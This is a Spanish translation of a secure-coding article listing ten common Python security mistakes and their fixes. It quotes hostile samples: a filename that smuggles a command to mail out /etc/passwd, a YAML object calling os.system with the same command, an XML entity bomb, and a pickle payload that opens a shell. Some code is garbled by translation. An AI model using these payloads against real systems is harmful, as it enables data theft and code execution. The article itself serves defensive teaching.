paint-brush
10 problemas de seguridad comunes en Python y cómo evitarlospor@anthony.p.shaw
77,437 lecturas
77,437 lecturas

10 problemas de seguridad comunes en Python y cómo evitarlos

por Anthony Shaw2018/06/16
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow
ES

Demasiado Largo; Para Leer

Escribir código seguro es difícil. Cuando aprende un idioma, un módulo o un marco, aprende cómo se <strong><em>supone que debe usarse</em></strong> . Al pensar en la seguridad, debe pensar en <strong><em>cómo se puede hacer un mal uso</em></strong> de ella. Python no es una excepción, incluso dentro de la biblioteca estándar hay malas prácticas documentadas para escribir aplicaciones reforzadas. Sin embargo, cuando he hablado con muchos desarrolladores de Python, simplemente no los conocen.

Company Mentioned

Mention Thumbnail
featured image - 10 problemas de seguridad comunes en Python y cómo evitarlos
Anthony Shaw HackerNoon profile picture

Escribir código seguro es difícil. Cuando aprende un idioma, un módulo o un marco, aprende cómo se supone que debe usarse . Al pensar en la seguridad, debe pensar en cómo se puede hacer un mal uso de ella. Python no es una excepción, incluso dentro de la biblioteca estándar hay malas prácticas documentadas para escribir aplicaciones reforzadas. Sin embargo, cuando he hablado con muchos desarrolladores de Python, simplemente no los conocen.

Aquí están mis 10 errores más comunes, sin ningún orden en particular , en las aplicaciones de Python.

1. Inyección de entrada

Los ataques de inyección son amplios y muy comunes y hay muchos tipos de inyección. Impactan todos los lenguajes, marcos y entornos.

La inyección SQL es donde está escribiendo consultas SQL directamente en lugar de usar un ORM y mezclar sus literales de cadena con variables. He leído mucho código donde las "comillas de escape" se consideran una solución. no lo es Familiarícese con todas las formas complejas en que puede ocurrir la inyección SQL con esta hoja de trucos .

La inyección de comandos es cada vez que llama a un proceso usando popen, subprocess, os.system y tomando argumentos de variables. Al llamar a los comandos locales, existe la posibilidad de que alguien establezca esos valores en algo malicioso.

Imagina este simple guión [crédito] . Llamas a un subproceso con el nombre de archivo proporcionado por el usuario:

 import subprocessdef transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea!

El atacante establece el valor de nombre de archivo en "; cat /etc/passwd | mail [email protected] o algo igualmente peligroso.

Arreglar:

Desinfecte la entrada utilizando las utilidades que vienen con su marco web, si está usando uno. A menos que tenga una buena razón, no construya consultas SQL a mano. La mayoría de los ORM tienen métodos de desinfección incorporados.

Para el shell, use el módulo shlex para escapar de la entrada correctamente.

2. Análisis de XML

Si su aplicación alguna vez carga y analiza archivos XML, lo más probable es que esté utilizando uno de los módulos de biblioteca estándar XML. Hay algunos ataques comunes a través de XML. Principalmente estilo DoS (diseñado para bloquear sistemas en lugar de exfiltración de datos). Esos ataques son comunes, especialmente si está analizando archivos XML externos (es decir, no confiables).

Uno de ellos se llama "mil millones de risas", debido a que la carga útil normalmente contiene una gran cantidad (miles de millones) de "lols". Básicamente, la idea es que puede crear entidades referenciales en XML, por lo que cuando su sencillo analizador XML intenta cargar este archivo XML en la memoria, consume gigabytes de RAM. Pruébalo si no me crees :-)













<?xml version="1.0"?><!DOCTYPE lolz [<!ENTIDAD lol "lol"><!ENTIDAD lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> &lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3; &lol3;". &lol5;&lol5;&lol5;"><!ENTIDAD lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTIDAD lol8 "&lol7;&lol7;&lol7;&lol7;&lol7; &lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTIDAD lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

Otro ataque utiliza la expansión de entidades externas . XML admite entidades de referencia de direcciones URL externas, el analizador XML normalmente buscaría y cargaría ese recurso sin ningún reparo. “Un atacante puede eludir los cortafuegos y obtener acceso a recursos restringidos, ya que todas las solicitudes se realizan desde una dirección IP interna y confiable, no desde el exterior”.

Otra situación a considerar son los paquetes de terceros de los que depende que decodifiquen XML, como archivos de configuración, API remotas. Es posible que ni siquiera sepa que una de sus dependencias queda expuesta a este tipo de ataques.

Entonces, ¿qué sucede en Python? Bueno, los módulos de la biblioteca estándar, etree, DOM, xmlrpc están todos abiertos a este tipo de ataques. Está bien documentado https://docs.python.org/3/library/xml.html#xml-vulnerabilities

Arreglar:

Utilice deusedxml como reemplazo directo de los módulos de biblioteca estándar. Agrega salvaguardias contra este tipo de ataques.

3. Afirmar declaraciones

No use afirmaciones para protegerse contra fragmentos de código a los que un usuario no debería acceder. Tome este ejemplo simple


def foo(solicitud, usuario):afirmar usuario.is_admin, “el usuario no tiene acceso”

código de seguridad...

Ahora, de manera predeterminada, Python se ejecuta con __debug__ como verdadero, pero en un entorno de producción es común que se ejecute con optimizaciones. Esto omitirá la declaración de afirmación e irá directamente al código seguro, independientemente de si el usuario is_admin o no.

Arreglar:

Solo use afirmaciones para comunicarse con otros desarrolladores, como en pruebas unitarias o para protegerse contra el uso incorrecto de la API.

4. Ataques de sincronización

Los ataques de tiempo son esencialmente una forma de exponer el comportamiento y el algoritmo al medir el tiempo que se tarda en comparar los valores proporcionados. Los ataques de sincronización requieren precisión, por lo que normalmente no funcionan en una red remota de alta latencia. Debido a la latencia variable involucrada en la mayoría de las aplicaciones web, es prácticamente imposible escribir un ataque de sincronización sobre servidores web HTTP.

Pero, si tiene una aplicación de línea de comandos que solicita la contraseña, un atacante puede escribir un script simple para medir el tiempo que lleva comparar su valor con el secreto real. ejemplo

Hay algunos ejemplos impresionantes, como este ataque de sincronización basado en SSH escrito en Python, si desea ver cómo funcionan.

Arreglar:

Use secrets.compare_digest , introducido en Python 3.5 para comparar contraseñas y otros valores privados.

5. Paquetes de sitio contaminados o ruta de importación

El sistema de importación de Python es muy flexible. Lo cual es excelente cuando intenta escribir parches de mono para sus pruebas o sobrecargar la funcionalidad principal.

Pero es uno de los mayores agujeros de seguridad en Python.

La instalación de paquetes de terceros en los paquetes de su sitio, ya sea en un entorno virtual o en los paquetes de sitios globales (lo que generalmente se desaconseja), lo expone a brechas de seguridad en esos paquetes.

Ha habido casos de paquetes que se publican en PyPi con nombres similares a los paquetes populares, pero en su lugar ejecutan código arbitrario . La mayor incidencia, afortunadamente, no fue dañina y simplemente "señaló" que el problema realmente no se está abordando.

Otra situación en la que pensar son las dependencias de sus dependencias (y así sucesivamente). Podrían incluir vulnerabilidades y también podrían anular el comportamiento predeterminado en Python a través del sistema de importación.

Arreglar:

Examine sus paquetes. Mire PyUp.io y su servicio de seguridad . Utilice entornos virtuales para todas las aplicaciones y asegúrese de que los paquetes de su sitio global estén lo más limpios posible. Verifique las firmas del paquete.

6. Archivos temporales

Para crear archivos temporales en Python, normalmente generaría un nombre de archivo usando la [mktemp()](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp "tempfile.mktemp") y luego crea un archivo usando este nombre. “Esto no es seguro, porque un proceso diferente puede crear un archivo con este nombre en el tiempo entre la llamada a [mktemp()](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp "tempfile.mktemp") y el intento posterior de crear el archivo mediante el primer proceso". [1] Esto significa que podría engañar a su aplicación para que cargue los datos incorrectos o exponga otros datos temporales.

Las versiones recientes de Python generarán una advertencia de tiempo de ejecución si llama al método incorrecto.

Arreglar:

Use el módulo tempfile y use mkstemp si necesita generar archivos temporales.

7. Usando yaml.load

Para citar la documentación de PyYAML:

“Advertencia: ¡No es seguro llamar a **yaml.load** con datos recibidos de una fuente que no es de confianza! **yaml.load** es tan potente como **pickle.load** y, por lo tanto, puede llamar a cualquier función de Python”.

Este hermoso ejemplo se encuentra en el popular proyecto Python Ansible. Puede proporcionar a Ansible Vault este valor como YAML (válido). Llama a os.system() con los argumentos proporcionados en el archivo.

 !!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]

Por lo tanto, la carga efectiva de archivos YAML a partir de valores proporcionados por el usuario lo deja completamente abierto a los ataques.

Demostración de esto en acción, crédito Anthony Sottile

Arreglar:

Usa yaml.safe_load casi siempre, a menos que tengas una muy buena razón.

8. Encurtidos

Deserializar datos de pickle es tan malo como YAML. Las clases de Python pueden declarar un método mágico llamado __reduce__ que devuelve una cadena o una tupla con un invocable y los argumentos para llamar al decapado. El atacante puede usar eso para incluir referencias a uno de los módulos de subproceso para ejecutar comandos arbitrarios en el host.

Este maravilloso ejemplo muestra cómo encurtir una clase que abre un shell en Python 2. Hay muchos más ejemplos de cómo explotar el encurtido.



importar cPickleimportar subprocesoimportar base64



clase RunBinSh(objeto):def __reduce__(self):return (subproceso.Popen, (('/bin/sh',),))

imprimir base64.b64encode(cPickle.dumps(RunBinSh()))

Arreglar:

Nunca extraiga datos de una fuente no confiable o no autenticada. Utilice otro patrón de serialización en su lugar, como JSON.

9. Usar el tiempo de ejecución de Python del sistema y no parchearlo

La mayoría de los sistemas POSIX vienen con una versión de Python 2. Por lo general, una antigua.

Dado que “Python”, es decir, CPython está escrito en C, hay momentos en que el propio intérprete de Python tiene agujeros. Los problemas de seguridad comunes en C están relacionados con la asignación de memoria, por lo tanto, errores de desbordamiento de búfer.

CPython ha tenido una serie de vulnerabilidades de desbordamiento o desbordamiento a lo largo de los años, cada una de las cuales ha sido parcheada y reparada en versiones posteriores.

Así que estás a salvo. Es decir, si parchea su tiempo de ejecución .

Aquí hay un ejemplo de 2.7.13 y versiones anteriores , una vulnerabilidad de desbordamiento de enteros que permite la ejecución de código. Esa es prácticamente cualquier versión sin parches de Ubuntu pre-17.

Arreglar:

¡Instale la última versión de Python para sus aplicaciones de producción y parchee!

10. No parchear tus dependencias

Al igual que no parchear su tiempo de ejecución, también necesita parchear sus dependencias con regularidad.

Encuentro aterradora la práctica de "fijar" versiones de paquetes Python de PyPi en paquetes. La idea es que “ estas son las versiones que funcionan ” para que todo el mundo lo deje en paz.

Todas las vulnerabilidades en el código que he mencionado anteriormente son igual de importantes cuando existen en los paquetes que usa su aplicación. Los desarrolladores de esos paquetes solucionan problemas de seguridad. todo el tiempo

Arreglar:

Use un servicio como PyUp.io para buscar actualizaciones, generar solicitudes de extracción/fusión en su aplicación y ejecutar sus pruebas para mantener los paquetes actualizados.

Utilice una herramienta como InSpec para validar las versiones instaladas en entornos de producción y asegurarse de que las versiones mínimas o los rangos de versiones estén parcheados.

¿Has probado Bandido?

¡Hay un excelente filtro estático que detectará todos estos problemas en su código y más!

Se llama bandido, solo pip install bandit y bandit ./codedir


PyCQA/bandit _bandit - Bandit es una herramienta diseñada para encontrar problemas de seguridad comunes en código Python._github.com

Crédito a RedHat por este excelente artículo que utilicé en parte de mi investigación.